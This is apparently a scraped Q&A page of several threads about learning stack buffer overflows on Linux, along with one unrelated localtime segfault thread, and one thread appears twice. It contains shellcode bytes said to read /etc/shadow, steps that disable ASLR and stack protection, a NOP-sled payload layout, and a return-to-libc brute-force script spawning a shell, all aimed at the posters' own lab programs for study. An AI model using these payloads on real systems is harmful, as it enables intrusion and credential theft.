How do I test out buffer overflows on a modern system? - c

I'm currently interested in learning how to do buffer overflows. I've done quite a bit of assembly, and understand how the stack works and how to implement a buffer overflow in C. However, I'm running across quite a bit of trouble trying to get GCC 4.9.1 to allow me to overflow a buffer properly. I'm running Debian Jessie.
Here is the tutorial that I'm attempting to follow, in section 2.2. I've copy/pasted the C program he provides, and I'm using the same Perl script that he is, so everything is the exact same as his case (except the system, of course).
These are the results that I'm getting consistently:
~/projects/buffer-overflow$ ls
run.pl test.c
~/projects/buffer-overflow$ sudo su
root#wash# echo "0" > /proc/sys/kernel/randomize_va_space
root#wash# exit
exit
~/projects/buffer-overflow$ gcc -m32 -fno-stack-protector -zexecstack test.c
~/projects/buffer-overflow$ ./run.pl
Address of foo = 0x804845b
Address of bar = 0x80484a4
My stack looks like:
(nil)
0xffffd4a8
0xf7e58b2f
0xf7fb3ac0
0x8048657
0xffffd494
ABCDEFGHIJKLMNOPP#
Now the stack looks like:
0xffffd718
0xffffd4a8
0xf7e58b2f
0xf7fb3ac0
0x42418657
0x46454443

That Perl script isn't particularly useful here, different systems will use different addresses, so let's do it without the script...
First of all, find out the exact number of bytes needed to overwrite the return address. We can do this with GDB and Perl:
(gdb) run `perl -e 'print "A" x 26';`
Address of foo = 0x804845b
Address of bar = 0x80484a5
My stack looks like:
0xf7fb1000
0xffffdab8
0xf7e44476
0xf7fb1d60
0x8048647
0xffffdaa8
AAAAAAAAAAAAAAAAAAAAAAAAAA
Now the stack looks like:
0xffffdcbb
0xffffdab8
0xf7e44476
0xf7fb1d60
0x41418647
0x41414141
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
As you can see, 26 bytes will overwrite the EIP, so by replacing the last four "A" characters with our bar() function address (don't forget to put it in little endian format), we should have success:
(gdb) run `perl -e 'print "A" x 22';``perl -e 'print "\xa5\x84\x04\x8"';`
Address of foo = 0x804845b
Address of bar = 0x80484a5
My stack looks like:
0xf7fb1000
0xffffdab8
0xf7e44476
0xf7fb1d60
0x8048647
0xffffdaa8
AAAAAAAAAAAAAAAAAAAAAA��
Now the stack looks like:
0xffffdcbb
0xffffdab8
0xf7e44476
0xf7fb1d60
0x41418647
0x41414141
Augh! I've been hacked!
Program received signal SIGSEGV, Segmentation fault.
0xffffdc06 in ?? ()
As you can see, we successfully returned to function bar().

I would try either -fno-stack-protector-all (adding -all) and other -O? options, cause some optimizations turns on some -fxxx.

Related

Segmentation fault by jumping to a user-defined machine code [duplicate]

I've tried to run a lot of shell-codes via C program to test them. Here it is
#include<stdio.h>
#include<string.h>
unsigned char code[] = "shell here";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
And here's example of shellcode
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"
(\bin\cat \etc\shadow)
After running
gcc sctest.c -o out
./out
It's just gives me shellcode length and Segmentation Fault
I've already tried a lot of different shellcodes but everything just gives me segfault
My dmesg | tail -1
[18440.783383] test[8768]: segfault at 8049700 ip 08049700 sp bffff2ec error 15 in test[8049000+1000]
What's wrong with my shellcodes?
After disabling NX-bit and other things like randomize_va_space I've finally done it.
Firstly you should compile your executable with keys -z execstack and -fno-stack-protector.
After that disable ASLR echo 0 > /proc/sys/kernel/randomize_va_space.
Now you have to find shellcode. You can try mspayload or msfvenom. Shellcode is a bytecode which usually gives you shell.
On that step you should find offset for your stack overflow. You can try to find lines like
sub hex-offset, %esp
Or you can try to bruteforce it with simple script like ./your_binary < python -c "print('A')*n") where n is your offset
After finding offset(SEGFAULT occurs and dmesg | tail -1 says that %eip is 0x41414141) you just need to write your exploit. It's structure looks like that
NOPs(no operation)*x+shellcode+return-address(4 bytes)*y
len(shellcode)+x+4y=your offset
Where return address is an address of the place in the stack where your NOPs are located(address of %esp which you see in gdb info r before input)
And don't forget that exploit which works in gdb won't work without gdb because you need to add/substract 36 bytes from your return address.
Finally you're ready to exploit
./your_binary < exploit.bin

Shellcode not running

I've tried to run a lot of shell-codes via C program to test them. Here it is
#include<stdio.h>
#include<string.h>
unsigned char code[] = "shell here";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
And here's example of shellcode
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"
(\bin\cat \etc\shadow)
After running
gcc sctest.c -o out
./out
It's just gives me shellcode length and Segmentation Fault
I've already tried a lot of different shellcodes but everything just gives me segfault
My dmesg | tail -1
[18440.783383] test[8768]: segfault at 8049700 ip 08049700 sp bffff2ec error 15 in test[8049000+1000]
What's wrong with my shellcodes?
After disabling NX-bit and other things like randomize_va_space I've finally done it.
Firstly you should compile your executable with keys -z execstack and -fno-stack-protector.
After that disable ASLR echo 0 > /proc/sys/kernel/randomize_va_space.
Now you have to find shellcode. You can try mspayload or msfvenom. Shellcode is a bytecode which usually gives you shell.
On that step you should find offset for your stack overflow. You can try to find lines like
sub hex-offset, %esp
Or you can try to bruteforce it with simple script like ./your_binary < python -c "print('A')*n") where n is your offset
After finding offset(SEGFAULT occurs and dmesg | tail -1 says that %eip is 0x41414141) you just need to write your exploit. It's structure looks like that
NOPs(no operation)*x+shellcode+return-address(4 bytes)*y
len(shellcode)+x+4y=your offset
Where return address is an address of the place in the stack where your NOPs are located(address of %esp which you see in gdb info r before input)
And don't forget that exploit which works in gdb won't work without gdb because you need to add/substract 36 bytes from your return address.
Finally you're ready to exploit
./your_binary < exploit.bin

gdb showing different address than in code

I am trying to implement a buffer overflow attack and I need to know the address of my buffer that I am trying to overflow.
The address that is displayed using GDB is different than if I just did this in the code:
Exact code:
#include<stdio.h>
int main() {
char buffer[20];
printf("%p\n", buffer); // 0xbffff320
return 0;
}
However, in gdb if I do:
p &buffer
I get: 0xbffff330
Why is there a difference and will it mess up my buffer overflow attack?
I have ALSR and stack guard disabled.
Thanks.
EDIT 1: Even when I step through gdb and it encounters the print line, I get 0xbffff320 as the address
EDIT 2:
Environment: Ubuntu Linux 9 image running in virtual box on windows 7.
The gdb version: 6.8-debian
Compiled using GCC such as: gcc -g -fno-stack-protector filename.c
execute immediately: ./a.out
address printed: 0xbffff320
Then open in debugger like this: gdb ./a.out
then enter b main
then run
then p &buffer
Then address is 0xbffff330
Edit 3:
This is the gdb log to reproduce behavior:
$ gdb ./a.out
b main
run
p &buffer /* address here is different than what is shown if I run executable */
step through program to printf statement /* address here is same as p &buffer but different than what is printed when program is ran */
The question, as I understand it, is why the address of a local variable in main is different when the program is started from the shell versus when it is started from gdb.
Here's a sample program to show the difference:
mp#ubuntu:~$ cat s.c
#include<stdio.h>
int main(int argc, char **argv) {
char buffer[20];
system("env");
printf("%s %p\n", argv[0], buffer);
return 0;
}
We'll run it in a clean environment. (I also disabled ASLR).
mp#ubuntu:~$ env -i sh
$ ./s
PWD=/home/mp
./s 0xbffffe48
$ gdb ./s
(gdb) run
Starting program: /home/mp/s
COLUMNS=80
PWD=/home/mp
LINES=42
/home/mp/s 0xbffffe08
The output from gdb's print &buffer command is the same as the program's idea of the address, but they're both different from when the program was run in the shell.
(gdb) b 6
Breakpoint 1 at 0x804849c: file s.c, line 6.
(gdb) run
Starting program: /home/mp/s
COLUMNS=80
PWD=/home/mp
LINES=42
Breakpoint 1, main (argc=1, argv=0xbffffed4) at s.c:6
6 printf("%s %p\n", argv[0], buffer);
(gdb) p &buffer
$1 = (char (*)[20]) 0xbffffe08
(gdb) n
/home/mp/s 0xbffffe08
8 return 0;
There are a couple of things contributing to the difference:
gdb is invoking the program with an absolute pathname, so the argv array is bigger.
gdb sets (or in this case, adds) two environment variables. This is done in readline/shell.c:sh_set_lines_and_columns(). So the environ array is bigger.
To remove those two variables from the environment, you can use unset environment, or set exec-wrapper to run env -u .... That way, the program's addresses under gdb are the same as when it's run in the shell (if we use an absolute pathname).
$ `pwd`/s
PWD=/home/mp
/home/mp/s 0xbffffe28
$ gdb `pwd`/s
(gdb) set exec-wrapper env -u LINES -u COLUMNS
(gdb) run
Starting program: /home/mp/s
PWD=/home/mp
/home/mp/s 0xbffffe28
Your array object in your system is stored in the stack. At the top of your stack there is, among other, the environment. When you run your program with gdb, gdb will provide a different environment (the env var and their value) which explains the addresses difference.
You can check the difference by running show environment in gdb and by comparing the output with set command in your shell.
Found out that this is expected behavior in old versions of GDB (mine is 6.8-debian), and if you construct your buffer overflow attack properly you can work around this behavior and it won't be a problem.
For the moment, the only reasons I can imagine are :
you tried to print &buffer after your program terminated. Solution: try setting a breakpoint on main, run, next to execute printf, and print &buffer.
you first ran your program outside gdb, then ran it inside gdb but forgot to execute the printf line with next.
a bug in your version of gdb
a bug in your version of gcc (gcc might produce incorrect debug info: see 1 and 2)

localtime() crashing with segmentation fault in c

Have a bit of trouble tracking down the cause of this.
Here is the code bit:
#include <time.h>
time_t now;
struct tm *mytime;
char yyyy[5];
char mm[3];
char dd[3];
char mname[10];
if(time(&now)!=(time_t)(-1))
{
mytime=localtime(&now);
strftime(yyyy, sizeof(yyyy), "%Y", mytime);
strftime(mm, sizeof(mm), "%m", mytime);
strftime(dd, sizeof(dd), "%d", mytime);
strftime(mname, sizeof(mname), "%B", mytime);
}
It crashes on localtime line:
Segmentation fault (core dumped)
Any ideas?
The sample code runs fine for me. Post your full code? Or cut down your example to minimal possible which still reproduces problem. And run gdb on your core 'gdb -c a.core a.out' and get a backtrace(bt).
One gotcha with localtime is the returned pointer is a pointer to a static global var and subsequent calls to localtime update the var. Tripped me up once long long ago.
struct tm *localtime(const time_t *time)
The return value is a pointer to a static broken-down time structure, which might be overwritten by subsequent calls to any of the date and time functions. (But no other library function overwrites the contents of this object.)
From:
http://www.chemie.fu-berlin.de/chemnet/use/info/libc/libc_17.html
On searching for core files:
See also core dumped - but core file is not in current directory?
Make sure system can write core file.
* for me on one sample ununtu system ulimit -c showed 0 *
ulimit -c unlimited
Check what pattern used and change the pattern to a simple one or different location.
cat /proc/sys/kernel/core_pattern
#sysctl -w kernel.core_pattern=core
Search some common locations and look in /var/log/messages:
ls /var/crash /var/cache/abrt /var/spool/abrt/ /tmp/*core*
tail /var/log/messages
On ubuntu examine the apport service config and init/rcfiles:
find /etc/ |grep appo
This may or may not be something close to your problem?
Still don't quite have enough info to be sure what you are doing.
I'd be thinking localtime is not the problem but somewhere in the printfs there are problems . . .
How are you compiling your project?
g++ or gcc?
Can you print a string?? (as opposed to string ptr)
What is a string in your context?
1 problem here:
fprintf(stdout,"# Single electron capture cross sections, %s state-selective\n",res);
If string is typedef a char[] then passing a pointer to it in func args would be better?
Compiling your sample making some assumptions and adding debug (-g3):
gcc -g3 stackoverflow_localtime_crash.c -o socrash
./socrash
# Single electron capture cross sections, RESSTRING state-selective
# Magic number=20032014, 20 March 2014,
# Single electron capture cross sections, RESSTRING state-selective
# ^0+ + -> ^-1+ + ^+
# Method=MCLZ
# et al. 2014, to be submitted
# ----------------------------------------------------------------------------
# Energy Cross sections (10^-16 cm^2)
# (eV/u) LABELSTRING �H���u�j
* lots more JUNK follows
res string itself cannot be passed in on stack and printed *
Segmentation fault (core dumped)
gdb -c core socrash
Core was generated by `./socrash'.
Program terminated with signal 11, Segmentation fault.
[New process 10298]
#0 0xb770e713 in strlen () from /lib/tls/i686/cmov/libc.so.6
(gdb) bt
#0 0xb770e713 in strlen () from /lib/tls/i686/cmov/libc.so.6
#1 0xb76da6d9 in vfprintf () from /lib/tls/i686/cmov/libc.so.6
#2 0xb76e0b9f in fprintf () from /lib/tls/i686/cmov/libc.so.6
#3 0x08048a42 in prtcsheader (cs=0xbf9e907c, labels=0xbf9e90bc, res=0xbf9e90a8 "RESSTRING") at stackoverflow_localtime_crash.c:66
#4 0x08048b36 in main (argc=Cannot access memory at address 0x0
) at stackoverflow_localtime_crash.c:80
(gdb) list
64 fprintf(stdout,"%-15s","# (eV/u)");
65 for(i=0;labels[i]!=NULL;i++)
66 fprintf(stdout,"\t%-14s",labels[i]);
67 fprintf(stdout,"\t%-14s","Total");
68
69 return 0;
(gdb)
* see line 66 there is also a problem *
might well be the way I have have declared string :-P
66 fprintf(stdout,"\t%-14s",labels[i]);
* If you can find a core file yourself then it would be a big help!!! *
If you can't find core then maybe you could use ltrace.
Run strace to get trace of all system calls a process does.
Run ltrace to get trace of all lib calls a process does.
Try:
strace ls
ltrace ls
On my crashing example:
ltrace ./socrash 1>stdout.log 2>socrash_ltrace.log
less socrash_ltrace.log

Return into libc - Illegal instruction

I am messing around with buffer overflows, particularly the return into libc kind.
I have the following vulnerable code:
#include<stdio.h>
#include<string.h>
main( int argc, char **argv)
{
char buffer[80];
getchar();
strcpy(buffer, argv[1]);
return 1;
}
I compiled it using gcc-2.95 (no -fstack-protector) with the -mpreferred-stack-boundary=2 flag. I followed the return into libc chapter of "Hacking: The Art of Exploitation".
First, I disabled ASLR:
$ cat /proc/sys/kernel/randomize_va_space
0
I found out the address of system:
$ cat find_system.c
int main() {
system("");
return 0;
}
$ gdb -q find_system
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048416
(gdb) run
Starting program: /home/bob/return_to_libc/find_system
Breakpoint 1, 0x08048416 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb6680 <system>
I created an environment variable to contain the command I want to execute using system:
$ cat get_env.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1]));
return 0;
}
$ export EXPLOIT=/bin/zsh
$ ./get_env EXPLOIT
EXPLOIT=/bin/zsh: 0xbffff96d
And then I made a perl script to automate getting the shell:
$ cat script.pl
#!/usr/bin/perl
for ($i = 1; $i < 200; $i++) {
print "Perl count: $i\n";
system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'");
}
$ ./script.pl
(...)
Perl count: 69
Perl count: 70
Perl count: 71
Perl count: 72
Illegal instruction
Perl count: 73
Segmentation fault
Perl count: 74
Segmentation fault
(...)
Where did I go wrong? Why do I get "illegal instruction" instead of my shell?
$ gdb vuln
(gdb) run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'
Vary the number of 'A's to test the various failures. In find python -c "print 'A'*73" (73 used to produce the above) to be helpful for generating the arguments.
gdb will tell you exactly where you're crashing and what's at EIP/RIP when you crash. This should guide you to an answer to your question.
Most likely, you're not getting a good pointer in the return address on the stack and execution is landing in memory that doesn't disassemble to valid instructions. I'd think you're close here. The segmentaion faults are more likely to be execution landing in a region of memory that isn't even allocated.
Use (gdb) x/10i $eip to identify what instructions are at EIP when you crash. You can vary the length of the disassembly shown by altering the 10 in that command.
You'll also need to figure out where your argument to system is landing on the stack so that it makes it into the appropriate place in the calling convention to get system to call it. gdb should be able to help you here too (again, use x - x/4w maybe - and i r).
Successful exploitation requires both of the above pieces: the 0xb7eb6680 must be in the return address and the 0xbffff96d must be wherever system is going to read it's first argument from.
Another helpful trick: set a breakpoint on the ret at the end of the strcpy function. This is a handy place to inspect your stack and register state and identify what you're about to do. The ret is where exploitation happens: the return address you supply is read, the processor begins executing at that address and you're off, assuming you can sustain execution with proper arguments to whatever you're calling, etc. The program's state at this ret is the make or break point so it's the easiest place to see what's wrong with your input and why you will or will not successfully exploit the vulnerability.
Forgive me if my gdb syntax isn't bang on... it's not my primary debugger.

Resources